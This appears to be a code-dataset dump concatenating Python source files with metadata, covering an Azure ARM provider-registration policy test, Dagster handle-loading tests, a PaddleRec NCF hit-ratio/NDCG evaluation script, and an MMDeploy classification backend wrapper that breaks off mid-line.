"providers/Microsoft.Sql/register?api-version=2016-02-01") httpretty.register_uri(httpretty.POST, register_post_url, status=409, content_type="application/json") request = HttpRequest("PUT", provider_url) policies = [ ARMAutoResourceProviderRegistrationPolicy(), ] with Pipeline(RequestsTransport(), policies=policies) as pipeline: response = pipeline.run(request) assert response.http_response.status_code == 409
39.69697
98
0.616183
import json import time try: from unittest import mock except ImportError: import mock import pytest import requests import httpretty from azure.core.pipeline import Pipeline from azure.core.pipeline.transport import ( HttpRequest, RequestsTransport, ) from azure.mgmt.core.policies import ARMAutoResourceProviderRegistrationPolicy @pytest.fixture def sleepless(monkeypatch): def sleep(_): pass monkeypatch.setattr(time, 'sleep', sleep) @httpretty.activate @pytest.mark.usefixtures("sleepless") def test_register_rp_policy(): provider_url = ("https://management.azure.com/" "subscriptions/12345678-9abc-def0-0000-000000000000/" "resourceGroups/clitest.rg000001/" "providers/Microsoft.Sql/servers/ygserver123?api-version=2014-04-01") provider_error = ('{"error":{"code":"MissingSubscriptionRegistration", ' '"message":"The subscription registration is in \'Unregistered\' state. ' 'The subscription must be registered to use namespace \'Microsoft.Sql\'. ' 'See https://aka.ms/rps-not-found for how to register subscriptions."}}') provider_success = '{"success": true}' httpretty.register_uri(httpretty.PUT, provider_url, responses=[ httpretty.Response(body=provider_error, status=409), httpretty.Response(body=provider_success), ], content_type="application/json") register_post_url = ("https://management.azure.com/" "subscriptions/12345678-9abc-def0-0000-000000000000/" "providers/Microsoft.Sql/register?api-version=2016-02-01") register_post_result = { "registrationState":"Registering" } register_get_url = ("https://management.azure.com/" "subscriptions/12345678-9abc-def0-0000-000000000000/" "providers/Microsoft.Sql?api-version=2016-02-01") register_get_result = { "registrationState":"Registered" } httpretty.register_uri(httpretty.POST, register_post_url, body=json.dumps(register_post_result), content_type="application/json") httpretty.register_uri(httpretty.GET, register_get_url, body=json.dumps(register_get_result), content_type="application/json") request = HttpRequest("PUT", provider_url) policies = [ ARMAutoResourceProviderRegistrationPolicy(), ] with Pipeline(RequestsTransport(), policies=policies) as pipeline: response = pipeline.run(request) assert json.loads(response.http_response.text())['success'] @httpretty.activate @pytest.mark.usefixtures("sleepless") def test_register_failed_policy(): provider_url = ("https://management.azure.com/" "subscriptions/12345678-9abc-def0-0000-000000000000/" "resourceGroups/clitest.rg000001/" "providers/Microsoft.Sql/servers/ygserver123?api-version=2014-04-01") provider_error = ('{"error":{"code":"MissingSubscriptionRegistration", ' '"message":"The subscription registration is in \'Unregistered\' state. ' 'The subscription must be registered to use namespace \'Microsoft.Sql\'. ' 'See https://aka.ms/rps-not-found for how to register subscriptions."}}') provider_success = '{"success": true}' httpretty.register_uri(httpretty.PUT, provider_url, responses=[ httpretty.Response(body=provider_error, status=409), httpretty.Response(body=provider_success), ], content_type="application/json") register_post_url = ("https://management.azure.com/" "subscriptions/12345678-9abc-def0-0000-000000000000/" "providers/Microsoft.Sql/register?api-version=2016-02-01") httpretty.register_uri(httpretty.POST, register_post_url, status=409, content_type="application/json") request = HttpRequest("PUT", provider_url) policies = [ ARMAutoResourceProviderRegistrationPolicy(), ] with Pipeline(RequestsTransport(), policies=policies) as pipeline: response = pipeline.run(request) assert response.http_response.status_code == 409
true
true
f7f3b861fce63799bfae760f2dbf9a98215812bf
10,478
py
Python
python_modules/dagster/dagster_tests/core_tests/definitions_tests/test_handle.py
jake-billings/dagster
7a1548a1f246c48189f3d8109e831b744bceb7d4
[ "Apache-2.0" ]
1
2019-07-15T17:34:04.000Z
2019-07-15T17:34:04.000Z
python_modules/dagster/dagster_tests/core_tests/definitions_tests/test_handle.py
jake-billings/dagster
7a1548a1f246c48189f3d8109e831b744bceb7d4
[ "Apache-2.0" ]
null
null
null
python_modules/dagster/dagster_tests/core_tests/definitions_tests/test_handle.py
jake-billings/dagster
7a1548a1f246c48189f3d8109e831b744bceb7d4
[ "Apache-2.0" ]
null
null
null
import imp import importlib import os import types import pytest from dagster import ( DagsterInvariantViolationError, ExecutionTargetHandle, PipelineDefinition, RepositoryDefinition, check, lambda_solid, pipeline, ) from dagster.core.definitions import LoaderEntrypoint from dagster.core.definitions.handle import ( EPHEMERAL_NAME, _get_python_file_from_previous_stack_frame, _ExecutionTargetHandleData, ) from dagster.utils import script_relative_path NOPE = 'this is not a pipeline or repo or callable' @lambda_solid def do_something(): return 1 @pipeline def foo_pipeline(): return do_something() def define_foo_pipeline(): return foo_pipeline def define_bar_repo(): return RepositoryDefinition('bar', pipeline_defs=[foo_pipeline]) def define_not_a_pipeline_or_repo(): return 'nope' def test_exc_target_handle(): res = ExecutionTargetHandle.for_pipeline_python_file(__file__, 'foo_pipeline') assert res.data.python_file == __file__ assert res.data.fn_name == 'foo_pipeline' def test_loader_entrypoint(): # Check missing entrypoint le = LoaderEntrypoint.from_file_target(__file__, 'doesnt_exist') with pytest.raises(DagsterInvariantViolationError) as exc_info: le.perform_load() assert "doesnt_exist not found in module <module 'test_handle'" in str(exc_info.value) # Check pipeline entrypoint le = LoaderEntrypoint.from_file_target(__file__, 'foo_pipeline') inst = le.perform_load() assert isinstance(inst, PipelineDefinition) assert inst.name == 'foo_pipeline' # Check repository / pipeline def function entrypoint le = LoaderEntrypoint.from_file_target(__file__, 'define_foo_pipeline') inst = le.perform_load() assert isinstance(inst, PipelineDefinition) assert inst.name == 'foo_pipeline' le = LoaderEntrypoint.from_file_target(__file__, 'define_bar_repo') inst = le.perform_load() assert isinstance(inst, RepositoryDefinition) assert inst.name == 'bar' le = LoaderEntrypoint.from_file_target(__file__, 'define_not_a_pipeline_or_repo') with pytest.raises(DagsterInvariantViolationError) as exc_info: inst = le.perform_load() assert ( str(exc_info.value) == 'define_not_a_pipeline_or_repo is a function but must return a PipelineDefinition or a ' 'RepositoryDefinition, or be decorated with @pipeline.' ) # Check failure case le = LoaderEntrypoint.from_file_target(__file__, 'NOPE') with pytest.raises(DagsterInvariantViolationError) as exc_info: inst = le.perform_load() assert ( str(exc_info.value) == 'NOPE must be a function that returns a PipelineDefinition or a RepositoryDefinition, ' 'or a function decorated with @pipeline.' ) # YAML le = LoaderEntrypoint.from_yaml(script_relative_path('repository.yaml')) assert isinstance(le.module, types.ModuleType) assert le.module.__name__ == 'dagster_examples.intro_tutorial.repos' assert le.module_name == 'dagster_examples.intro_tutorial.repos' inst = le.perform_load() assert isinstance(inst, RepositoryDefinition) def test_repo_entrypoints(): module = importlib.import_module('dagster_examples.intro_tutorial.repos') expected = LoaderEntrypoint(module, 'dagster_examples.intro_tutorial.repos', 'define_repo') handle = ExecutionTargetHandle.for_repo_yaml(script_relative_path('repository.yaml')) assert handle.entrypoint.module == expected.module assert handle.entrypoint.module_name == expected.module_name assert handle.entrypoint.fn_name == expected.fn_name assert handle.entrypoint.from_handle == handle module = importlib.import_module('dagster') expected = LoaderEntrypoint(module, 'dagster', 'define_bar_repo') handle = ExecutionTargetHandle.for_repo_module(module_name='dagster', fn_name='define_bar_repo') assert handle.entrypoint.module == expected.module assert handle.entrypoint.module_name == expected.module_name assert handle.entrypoint.fn_name == expected.fn_name assert handle.entrypoint.from_handle == handle python_file = script_relative_path('bar_repo.py') module = imp.load_source('bar_repo', python_file) expected = LoaderEntrypoint(module, 'bar_repo', 'define_bar_repo') handle = ExecutionTargetHandle.for_repo_python_file( python_file=python_file, fn_name='define_bar_repo' ) assert handle.entrypoint.module == expected.module assert handle.entrypoint.module_name == expected.module_name assert handle.entrypoint.fn_name == expected.fn_name assert handle.entrypoint.from_handle == handle def test_for_repo_fn_with_pipeline_name(): handle = ExecutionTargetHandle.for_repo_fn(define_bar_repo) repo = handle.build_repository_definition() assert repo.name == 'bar' with pytest.raises(DagsterInvariantViolationError) as exc_info: handle.build_pipeline_definition() assert ( str(exc_info.value) == 'Cannot construct a pipeline from a repository-based ' 'ExecutionTargetHandle without a pipeline name. Use with_pipeline_name() to construct a ' 'pipeline ExecutionTargetHandle.' ) handle_for_pipeline = handle.with_pipeline_name('foo_pipeline') repo = handle_for_pipeline.build_repository_definition() assert repo.name == 'bar' pipe = handle_for_pipeline.build_pipeline_definition() assert pipe.name == 'foo_pipeline' handle_double = handle_for_pipeline.with_pipeline_name('foo_pipeline') pipe = handle_double.build_pipeline_definition() assert pipe.name == 'foo_pipeline' def test_bad_modes(): handle = ExecutionTargetHandle.for_repo_fn(define_bar_repo).with_pipeline_name('foo_pipeline') handle.mode = 'not a mode' with pytest.raises(check.CheckError) as exc_info: handle.entrypoint() assert str(exc_info.value) == 'Failure condition: Unhandled mode not a mode' with pytest.raises(check.CheckError) as exc_info: handle.build_pipeline_definition() assert str(exc_info.value) == 'Failure condition: Unhandled mode not a mode' with pytest.raises(check.CheckError) as exc_info: handle.build_repository_definition() assert str(exc_info.value) == 'Failure condition: Unhandled mode not a mode' def test_exc_target_handle_data(): with pytest.raises(DagsterInvariantViolationError) as exc_info: _ExecutionTargetHandleData().get_repository_entrypoint() assert str(exc_info.value) == ( 'You have attempted to load a repository with an invalid combination of properties. ' 'repository_yaml None module_name None python_file None fn_name None.' ) with pytest.raises(DagsterInvariantViolationError) as exc_info: _ExecutionTargetHandleData().get_pipeline_entrypoint() assert str(exc_info.value) == ( 'You have attempted to directly load a pipeline with an invalid combination of properties ' 'module_name None python_file None fn_name None.' ) def test_repo_yaml_module_dynamic_load(): handle = ExecutionTargetHandle.for_repo_yaml( repository_yaml=script_relative_path('repository_module.yaml') ) repository = handle.build_repository_definition() assert isinstance(repository, RepositoryDefinition) assert repository.name == 'demo_repository' assert ExecutionTargetHandle.get_handle(repository) == handle def test_repo_yaml_file_dynamic_load(): handle = ExecutionTargetHandle.for_repo_yaml( repository_yaml=script_relative_path('repository_file.yaml') ) repository = handle.build_repository_definition() assert isinstance(repository, RepositoryDefinition) assert repository.name == 'bar' assert ExecutionTargetHandle.get_handle(repository) == handle def test_repo_module_dynamic_load(): handle = ExecutionTargetHandle.for_pipeline_module( module_name='dagster_examples.intro_tutorial.repos', fn_name='repo_demo_pipeline' ) repository = handle.build_repository_definition() assert isinstance(repository, RepositoryDefinition) assert repository.name == EPHEMERAL_NAME assert ExecutionTargetHandle.get_handle(repository) == handle def test_repo_file_dynamic_load(): handle = ExecutionTargetHandle.for_repo_python_file( python_file=script_relative_path('test_handle.py'), fn_name='define_bar_repo' ) repository = handle.build_repository_definition() assert isinstance(repository, RepositoryDefinition) assert repository.name == 'bar' assert ExecutionTargetHandle.get_handle(repository) == handle def test_repo_module_dynamic_load_from_pipeline(): handle = ExecutionTargetHandle.for_pipeline_module( module_name='dagster_examples.intro_tutorial.repos', fn_name='repo_demo_pipeline' ) repository = handle.build_repository_definition() assert isinstance(repository, RepositoryDefinition) assert repository.name == '<<unnamed>>' assert repository.get_pipeline('repo_demo_pipeline').name == 'repo_demo_pipeline' assert ExecutionTargetHandle.get_handle(repository) == handle def test_repo_file_dynamic_load_from_pipeline(): handle = ExecutionTargetHandle.for_pipeline_python_file( python_file=script_relative_path('test_handle.py'), fn_name='foo_pipeline' ) repository = handle.build_repository_definition() assert isinstance(repository, RepositoryDefinition) assert repository.name == EPHEMERAL_NAME assert repository.get_pipeline('foo_pipeline').name == 'foo_pipeline' assert ExecutionTargetHandle.get_handle(repository) == handle def test_get_python_file_from_previous_stack_frame(): def nest_fn_call(): # This ensures that `python_file` is this file python_file = _get_python_file_from_previous_stack_frame() return python_file # We check out dagster as 'workdir' in Buildkite, so we match the rest of the path to # python_modules/dagster/dagster_tests/core_tests/definitions_tests/test_handle.py assert nest_fn_call().split(os.sep)[-6:] == [ 'python_modules', 'dagster', 'dagster_tests', 'core_tests', 'definitions_tests', 'test_handle.py', ] def test_build_repository_definition(): handle = ExecutionTargetHandle.for_repo_python_file(__file__, 'define_foo_pipeline') repo = handle.build_repository_definition() assert repo.name == EPHEMERAL_NAME
35.639456
100
0.752911
import imp import importlib import os import types import pytest from dagster import ( DagsterInvariantViolationError, ExecutionTargetHandle, PipelineDefinition, RepositoryDefinition, check, lambda_solid, pipeline, ) from dagster.core.definitions import LoaderEntrypoint from dagster.core.definitions.handle import ( EPHEMERAL_NAME, _get_python_file_from_previous_stack_frame, _ExecutionTargetHandleData, ) from dagster.utils import script_relative_path NOPE = 'this is not a pipeline or repo or callable' @lambda_solid def do_something(): return 1 @pipeline def foo_pipeline(): return do_something() def define_foo_pipeline(): return foo_pipeline def define_bar_repo(): return RepositoryDefinition('bar', pipeline_defs=[foo_pipeline]) def define_not_a_pipeline_or_repo(): return 'nope' def test_exc_target_handle(): res = ExecutionTargetHandle.for_pipeline_python_file(__file__, 'foo_pipeline') assert res.data.python_file == __file__ assert res.data.fn_name == 'foo_pipeline' def test_loader_entrypoint(): le = LoaderEntrypoint.from_file_target(__file__, 'doesnt_exist') with pytest.raises(DagsterInvariantViolationError) as exc_info: le.perform_load() assert "doesnt_exist not found in module <module 'test_handle'" in str(exc_info.value) le = LoaderEntrypoint.from_file_target(__file__, 'foo_pipeline') inst = le.perform_load() assert isinstance(inst, PipelineDefinition) assert inst.name == 'foo_pipeline' le = LoaderEntrypoint.from_file_target(__file__, 'define_foo_pipeline') inst = le.perform_load() assert isinstance(inst, PipelineDefinition) assert inst.name == 'foo_pipeline' le = LoaderEntrypoint.from_file_target(__file__, 'define_bar_repo') inst = le.perform_load() assert isinstance(inst, RepositoryDefinition) assert inst.name == 'bar' le = LoaderEntrypoint.from_file_target(__file__, 'define_not_a_pipeline_or_repo') with pytest.raises(DagsterInvariantViolationError) as exc_info: inst = le.perform_load() assert ( str(exc_info.value) == 'define_not_a_pipeline_or_repo is a function but must return a PipelineDefinition or a ' 'RepositoryDefinition, or be decorated with @pipeline.' ) le = LoaderEntrypoint.from_file_target(__file__, 'NOPE') with pytest.raises(DagsterInvariantViolationError) as exc_info: inst = le.perform_load() assert ( str(exc_info.value) == 'NOPE must be a function that returns a PipelineDefinition or a RepositoryDefinition, ' 'or a function decorated with @pipeline.' ) le = LoaderEntrypoint.from_yaml(script_relative_path('repository.yaml')) assert isinstance(le.module, types.ModuleType) assert le.module.__name__ == 'dagster_examples.intro_tutorial.repos' assert le.module_name == 'dagster_examples.intro_tutorial.repos' inst = le.perform_load() assert isinstance(inst, RepositoryDefinition) def test_repo_entrypoints(): module = importlib.import_module('dagster_examples.intro_tutorial.repos') expected = LoaderEntrypoint(module, 'dagster_examples.intro_tutorial.repos', 'define_repo') handle = ExecutionTargetHandle.for_repo_yaml(script_relative_path('repository.yaml')) assert handle.entrypoint.module == expected.module assert handle.entrypoint.module_name == expected.module_name assert handle.entrypoint.fn_name == expected.fn_name assert handle.entrypoint.from_handle == handle module = importlib.import_module('dagster') expected = LoaderEntrypoint(module, 'dagster', 'define_bar_repo') handle = ExecutionTargetHandle.for_repo_module(module_name='dagster', fn_name='define_bar_repo') assert handle.entrypoint.module == expected.module assert handle.entrypoint.module_name == expected.module_name assert handle.entrypoint.fn_name == expected.fn_name assert handle.entrypoint.from_handle == handle python_file = script_relative_path('bar_repo.py') module = imp.load_source('bar_repo', python_file) expected = LoaderEntrypoint(module, 'bar_repo', 'define_bar_repo') handle = ExecutionTargetHandle.for_repo_python_file( python_file=python_file, fn_name='define_bar_repo' ) assert handle.entrypoint.module == expected.module assert handle.entrypoint.module_name == expected.module_name assert handle.entrypoint.fn_name == expected.fn_name assert handle.entrypoint.from_handle == handle def test_for_repo_fn_with_pipeline_name(): handle = ExecutionTargetHandle.for_repo_fn(define_bar_repo) repo = handle.build_repository_definition() assert repo.name == 'bar' with pytest.raises(DagsterInvariantViolationError) as exc_info: handle.build_pipeline_definition() assert ( str(exc_info.value) == 'Cannot construct a pipeline from a repository-based ' 'ExecutionTargetHandle without a pipeline name. Use with_pipeline_name() to construct a ' 'pipeline ExecutionTargetHandle.' ) handle_for_pipeline = handle.with_pipeline_name('foo_pipeline') repo = handle_for_pipeline.build_repository_definition() assert repo.name == 'bar' pipe = handle_for_pipeline.build_pipeline_definition() assert pipe.name == 'foo_pipeline' handle_double = handle_for_pipeline.with_pipeline_name('foo_pipeline') pipe = handle_double.build_pipeline_definition() assert pipe.name == 'foo_pipeline' def test_bad_modes(): handle = ExecutionTargetHandle.for_repo_fn(define_bar_repo).with_pipeline_name('foo_pipeline') handle.mode = 'not a mode' with pytest.raises(check.CheckError) as exc_info: handle.entrypoint() assert str(exc_info.value) == 'Failure condition: Unhandled mode not a mode' with pytest.raises(check.CheckError) as exc_info: handle.build_pipeline_definition() assert str(exc_info.value) == 'Failure condition: Unhandled mode not a mode' with pytest.raises(check.CheckError) as exc_info: handle.build_repository_definition() assert str(exc_info.value) == 'Failure condition: Unhandled mode not a mode' def test_exc_target_handle_data(): with pytest.raises(DagsterInvariantViolationError) as exc_info: _ExecutionTargetHandleData().get_repository_entrypoint() assert str(exc_info.value) == ( 'You have attempted to load a repository with an invalid combination of properties. ' 'repository_yaml None module_name None python_file None fn_name None.' ) with pytest.raises(DagsterInvariantViolationError) as exc_info: _ExecutionTargetHandleData().get_pipeline_entrypoint() assert str(exc_info.value) == ( 'You have attempted to directly load a pipeline with an invalid combination of properties ' 'module_name None python_file None fn_name None.' ) def test_repo_yaml_module_dynamic_load(): handle = ExecutionTargetHandle.for_repo_yaml( repository_yaml=script_relative_path('repository_module.yaml') ) repository = handle.build_repository_definition() assert isinstance(repository, RepositoryDefinition) assert repository.name == 'demo_repository' assert ExecutionTargetHandle.get_handle(repository) == handle def test_repo_yaml_file_dynamic_load(): handle = ExecutionTargetHandle.for_repo_yaml( repository_yaml=script_relative_path('repository_file.yaml') ) repository = handle.build_repository_definition() assert isinstance(repository, RepositoryDefinition) assert repository.name == 'bar' assert ExecutionTargetHandle.get_handle(repository) == handle def test_repo_module_dynamic_load(): handle = ExecutionTargetHandle.for_pipeline_module( module_name='dagster_examples.intro_tutorial.repos', fn_name='repo_demo_pipeline' ) repository = handle.build_repository_definition() assert isinstance(repository, RepositoryDefinition) assert repository.name == EPHEMERAL_NAME assert ExecutionTargetHandle.get_handle(repository) == handle def test_repo_file_dynamic_load(): handle = ExecutionTargetHandle.for_repo_python_file( python_file=script_relative_path('test_handle.py'), fn_name='define_bar_repo' ) repository = handle.build_repository_definition() assert isinstance(repository, RepositoryDefinition) assert repository.name == 'bar' assert ExecutionTargetHandle.get_handle(repository) == handle def test_repo_module_dynamic_load_from_pipeline(): handle = ExecutionTargetHandle.for_pipeline_module( module_name='dagster_examples.intro_tutorial.repos', fn_name='repo_demo_pipeline' ) repository = handle.build_repository_definition() assert isinstance(repository, RepositoryDefinition) assert repository.name == '<<unnamed>>' assert repository.get_pipeline('repo_demo_pipeline').name == 'repo_demo_pipeline' assert ExecutionTargetHandle.get_handle(repository) == handle def test_repo_file_dynamic_load_from_pipeline(): handle = ExecutionTargetHandle.for_pipeline_python_file( python_file=script_relative_path('test_handle.py'), fn_name='foo_pipeline' ) repository = handle.build_repository_definition() assert isinstance(repository, RepositoryDefinition) assert repository.name == EPHEMERAL_NAME assert repository.get_pipeline('foo_pipeline').name == 'foo_pipeline' assert ExecutionTargetHandle.get_handle(repository) == handle def test_get_python_file_from_previous_stack_frame(): def nest_fn_call(): python_file = _get_python_file_from_previous_stack_frame() return python_file assert nest_fn_call().split(os.sep)[-6:] == [ 'python_modules', 'dagster', 'dagster_tests', 'core_tests', 'definitions_tests', 'test_handle.py', ] def test_build_repository_definition(): handle = ExecutionTargetHandle.for_repo_python_file(__file__, 'define_foo_pipeline') repo = handle.build_repository_definition() assert repo.name == EPHEMERAL_NAME
true
true
f7f3ba6efd34055c281e7b68a30d5885a38cb970
2,041
py
Python
models/recall/ncf/evaluate.py
ziyoujiyi/PaddleRec
bcddcf46e5cd8d4e6b2c5ee8d0d5521e292a2a81
[ "Apache-2.0" ]
2,739
2020-04-28T05:12:48.000Z
2022-03-31T16:01:49.000Z
models/recall/ncf/evaluate.py
jiangcongxu/PaddleRec
9a107c56af2d1ee282975bcc8edb1ad5fb7e7973
[ "Apache-2.0" ]
205
2020-05-14T13:29:14.000Z
2022-03-31T13:01:50.000Z
models/recall/ncf/evaluate.py
jiangcongxu/PaddleRec
9a107c56af2d1ee282975bcc8edb1ad5fb7e7973
[ "Apache-2.0" ]
545
2020-05-14T13:19:13.000Z
2022-03-24T07:53:05.000Z
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import numpy as np import sklearn import math """ Extracting information from infer data """ filename = './result.txt' f = open(filename, "r") lines = f.readlines() f.close() result = [] for line in lines: if "prediction" in str(line): result.append(line) result = result[:-1] pair = [] for line in result: line = line.strip().split(",") for seg in line: if "user" in seg: user_id = seg.strip().split(":")[1].strip(" ").strip("[]") if "prediction" in seg: prediction = seg.strip().split(":")[1].strip(" ").strip("[]") if "label" in seg: label = seg.strip().split(":")[1].strip(" ").strip("[]") pair.append([int(user_id), float(prediction), int(label)]) def takeSecond(x): return x[1] """ Evaluate the performance (Hit_Ratio, NDCG) of top-K recommendation """ hits = [] ndcg = [] pair = [pair[i:i + 100] for i in range(0, len(pair), 100)] for user in pair: user.sort(key=takeSecond, reverse=True) each_user_top10_line = user[:10] each_user_top10_line_label = [i[2] for i in each_user_top10_line] if 1 in each_user_top10_line_label: i = each_user_top10_line_label.index(1) ndcg.append(math.log(2) / math.log(i + 2)) hits.append(1) else: hits.append(0) ndcg.append(0) print("user_num:", len(hits)) print("hit ratio:", np.array(hits).mean()) print("ndcg:", np.array(ndcg).mean())
29.57971
74
0.652131
import numpy as np import sklearn import math filename = './result.txt' f = open(filename, "r") lines = f.readlines() f.close() result = [] for line in lines: if "prediction" in str(line): result.append(line) result = result[:-1] pair = [] for line in result: line = line.strip().split(",") for seg in line: if "user" in seg: user_id = seg.strip().split(":")[1].strip(" ").strip("[]") if "prediction" in seg: prediction = seg.strip().split(":")[1].strip(" ").strip("[]") if "label" in seg: label = seg.strip().split(":")[1].strip(" ").strip("[]") pair.append([int(user_id), float(prediction), int(label)]) def takeSecond(x): return x[1] hits = [] ndcg = [] pair = [pair[i:i + 100] for i in range(0, len(pair), 100)] for user in pair: user.sort(key=takeSecond, reverse=True) each_user_top10_line = user[:10] each_user_top10_line_label = [i[2] for i in each_user_top10_line] if 1 in each_user_top10_line_label: i = each_user_top10_line_label.index(1) ndcg.append(math.log(2) / math.log(i + 2)) hits.append(1) else: hits.append(0) ndcg.append(0) print("user_num:", len(hits)) print("hit ratio:", np.array(hits).mean()) print("ndcg:", np.array(ndcg).mean())
true
true
f7f3bbfe7376f171fe54dc3781959d1e5fd732ce
6,857
py
Python
mmdeploy/codebase/mmcls/deploy/classification_model.py
Kayce001/mmdeploy
59470fef0b28e0b760c72269e0696bbdf57db7f1
[ "Apache-2.0" ]
1
2022-03-08T12:22:34.000Z
2022-03-08T12:22:34.000Z
mmdeploy/codebase/mmcls/deploy/classification_model.py
Kayce001/mmdeploy
59470fef0b28e0b760c72269e0696bbdf57db7f1
[ "Apache-2.0" ]
null
null
null
mmdeploy/codebase/mmcls/deploy/classification_model.py
Kayce001/mmdeploy
59470fef0b28e0b760c72269e0696bbdf57db7f1
[ "Apache-2.0" ]
null
null
null
# Copyright (c) OpenMMLab. All rights reserved. from typing import List, Sequence, Union import mmcv import numpy as np import torch from mmcls.datasets import DATASETS from mmcls.models.classifiers.base import BaseClassifier from mmcv.utils import Registry from mmdeploy.codebase.base import BaseBackendModel from mmdeploy.utils import (Backend, get_backend, get_codebase_config, load_config) def __build_backend_model(cls_name: str, registry: Registry, *args, **kwargs): return registry.module_dict[cls_name](*args, **kwargs) __BACKEND_MODEL = mmcv.utils.Registry( 'backend_classifiers', build_func=__build_backend_model) @__BACKEND_MODEL.register_module('end2end') class End2EndModel(BaseBackendModel): """End to end model for inference of classification. Args: backend (Backend): The backend enum, specifying backend type. backend_files (Sequence[str]): Paths to all required backend files(e.g. '.onnx' for ONNX Runtime, '.param' and '.bin' for ncnn). device (str): A string represents device type. class_names (Sequence[str]): A list of string specifying class names. deploy_cfg (str | mmcv.Config): Deployment config file or loaded Config object. """ def __init__( self, backend: Backend, backend_files: Sequence[str], device: str, class_names: Sequence[str], deploy_cfg: Union[str, mmcv.Config] = None, ): super(End2EndModel, self).__init__(deploy_cfg=deploy_cfg) self.CLASSES = class_names self.deploy_cfg = deploy_cfg self._init_wrapper( backend=backend, backend_files=backend_files, device=device) def _init_wrapper(self, backend: Backend, backend_files: Sequence[str], device: str): output_names = self.output_names self.wrapper = BaseBackendModel._build_wrapper( backend=backend, backend_files=backend_files, device=device, output_names=output_names, deploy_cfg=self.deploy_cfg) def forward(self, img: List[torch.Tensor], *args, **kwargs) -> list: """Run forward inference. Args: img (List[torch.Tensor]): A list contains input image(s) in [N x C x H x W] format. *args: Other arguments. **kwargs: Other key-pair arguments. Returns: list: A list contains predictions. """ if isinstance(img, list): input_img = img[0].contiguous() else: input_img = img.contiguous() outputs = self.forward_test(input_img, *args, **kwargs) return list(outputs) def forward_test(self, imgs: torch.Tensor, *args, **kwargs) -> \ List[np.ndarray]: """The interface for forward test. Args: imgs (torch.Tensor): Input image(s) in [N x C x H x W] format. Returns: List[np.ndarray]: A list of classification prediction. """ outputs = self.wrapper({self.input_name: imgs}) outputs = self.wrapper.output_to_list(outputs) outputs = [out.detach().cpu().numpy() for out in outputs] return outputs def show_result(self, img: np.ndarray, result: list, win_name: str = '', show: bool = True, out_file: str = None): """Show predictions of classification. Args: img: (np.ndarray): Input image to draw predictions. result (list): A list of predictions. win_name (str): The name of visualization window. show (bool): Whether to show plotted image in windows. Defaults to `True`. out_file (str): Output image file to save drawn predictions. Returns: np.ndarray: Drawn image, only if not `show` or `out_file`. """ return BaseClassifier.show_result( self, img, result, show=show, win_name=win_name, out_file=out_file) @__BACKEND_MODEL.register_module('sdk') class SDKEnd2EndModel(End2EndModel): """SDK inference class, converts SDK output to mmcls format.""" def forward(self, img: List[torch.Tensor], *args, **kwargs) -> list: """Run forward inference. Args: img (List[torch.Tensor]): A list contains input image(s) in [N x C x H x W] format. *args: Other arguments. **kwargs: Other key-pair arguments. Returns: list: A list contains predictions. """ pred = self.wrapper.invoke( [img[0].contiguous().detach().cpu().numpy()])[0] pred = np.array(pred, dtype=np.float32) return pred[np.argsort(pred[:, 0])][np.newaxis, :, 1] def get_classes_from_config(model_cfg: Union[str, mmcv.Config]): """Get class name from config. Args: model_cfg (str | mmcv.Config): Input model config file or Config object. Returns: list[str]: A list of string specifying names of different class. """ model_cfg = load_config(model_cfg)[0] module_dict = DATASETS.module_dict data_cfg = model_cfg.data if 'train' in data_cfg: module = module_dict[data_cfg.train.type] elif 'val' in data_cfg: module = module_dict[data_cfg.val.type] elif 'test' in data_cfg: module = module_dict[data_cfg.test.type] else: raise RuntimeError(f'No dataset config found in: {model_cfg}') return module.CLASSES def build_classification_model(model_files: Sequence[str], model_cfg: Union[str, mmcv.Config], deploy_cfg: Union[str, mmcv.Config], device: str, **kwargs): """Build classification model for different backend. Args: model_files (Sequence[str]): Input model file(s). model_cfg (str | mmcv.Config): Input model config file or Config object. deploy_cfg (str | mmcv.Config): Input deployment config file or Config object. device (str): Device to input model. Returns: BaseBackendModel: Classifier for a configured backend. """ # load cfg if necessary deploy_cfg, model_cfg = load_config(deploy_cfg, model_cfg) backend = get_backend(deploy_cfg) model_type = get_codebase_config(deploy_cfg).get('model_type', 'end2end') class_names = get_classes_from_config(model_cfg) backend_classifier = __BACKEND_MODEL.build( model_type, backend=backend, backend_files=model_files, device=device, class_names=class_names, deploy_cfg=deploy_cfg, **kwargs) return backend_classifier
33.778325
79
0.617763
from typing import List, Sequence, Union import mmcv import numpy as np import torch from mmcls.datasets import DATASETS from mmcls.models.classifiers.base import BaseClassifier from mmcv.utils import Registry from mmdeploy.codebase.base import BaseBackendModel from mmdeploy.utils import (Backend, get_backend, get_codebase_config, load_config) def __build_backend_model(cls_name: str, registry: Registry, *args, **kwargs): return registry.module_dict[cls_name](*args, **kwargs) __BACKEND_MODEL = mmcv.utils.Registry( 'backend_classifiers', build_func=__build_backend_model) @__BACKEND_MODEL.register_module('end2end') class End2EndModel(BaseBackendModel): def __init__( self, backend: Backend, backend_files: Sequence[str], device: str, class_names: Sequence[str], deploy_cfg: Union[str, mmcv.Config] = None, ): super(End2EndModel, self).__init__(deploy_cfg=deploy_cfg) self.CLASSES = class_names self.deploy_cfg = deploy_cfg self._init_wrapper( backend=backend, backend_files=backend_files, device=device) def _init_wrapper(self, backend: Backend, backend_files: Sequence[str], device: str): output_names = self.output_names self.wrapper = BaseBackendModel._build_wrapper( backend=backend, backend_files=backend_files, device=device, output_names=output_names, deploy_cfg=self.deploy_cfg) def forward(self, img: List[torch.Tensor], *args, **kwargs) -> list: if isinstance(img, list): input_img = img[0].contiguous() else: input_img = img.contiguous() outputs = self.forward_test(input_img, *args, **kwargs) return list(outputs) def forward_test(self, imgs: torch.Tensor, *args, **kwargs) -> \ List[np.ndarray]: outputs = self.wrapper({self.input_name: imgs}) outputs = self.wrapper.output_to_list(outputs) outputs = [out.detach().cpu().numpy() for out in outputs] return outputs def show_result(self, img: np.ndarray, result: list, win_name: str = '', show: bool = True, out_file: str = None): return BaseClassifier.show_result( self, img, result, show=show, win_name=win_name, out_file=out_file) @__BACKEND_MODEL.register_module('sdk') class SDKEnd2EndModel(End2EndModel): def forward(self, img: List[torch.Tensor], *args, **kwargs) -> list: pred = self.wrapper.invoke( [img[0].contiguous().detach().cpu().numpy()])[0] pred = np.array(pred, dtype=np.float32) return 